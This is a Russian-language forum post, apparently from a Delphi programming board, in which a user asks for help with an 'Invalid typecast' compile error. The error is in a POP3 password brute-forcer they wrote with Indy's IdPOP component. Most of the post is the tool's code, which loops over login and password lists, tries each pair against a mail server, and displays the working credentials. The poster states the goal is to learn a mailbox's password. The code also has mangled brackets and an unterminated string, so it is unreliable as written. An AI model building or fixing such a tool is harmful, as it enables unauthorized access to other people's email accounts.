ламо ушастое
Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
|
Привет! Решил вот недавно написать брутфорсер в Дельфи. Забацал форму все дела. Но при компиляции вылезает данная ошибка. Вот сам код OnClick'а для Кнопки:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:integer;
begin
Создаю массивы строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
Загружаю имена и пароли
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
Устанавливаю адрес и порт сервера
IdPOP.Host:=ServerNameEdit.Text;
IdPOP.Port:=StrToInt(PortEdit.Text);
Начинаю перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
Передаю имя и пароль компоненту
IdPOP.Username:=LoginStrings.Strings i];
IdPOP.Password:=PassStrings.Strings[j];
Попытка соединения
try
IdPOP.Connect;
except
end;
Если есть коннект то вывести сообщение
if IdPOP.Connected then
begin
Показать пароль. Именно в этом месте компилятор выдаёт ошибку. Причём если<BR>удалить эти две строчки то всё работает. Но нахрен мне брутфорсер если я не узнаю пароль от ящика.
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings i]+
'Пароль:'+PassStrings [j]), 'Пароль наиден!);
IdPOP.Disconnect;
Exit;
end;
end;
Унижтожаю массивы строк
LoginStrings.Free;
PassStrings.Free;
end;
end.
Народ помогите плиз!
зы i не в квадратных скобках потому что есть тег i
|
Ошибка "Invalid typecast" в Delphi - 
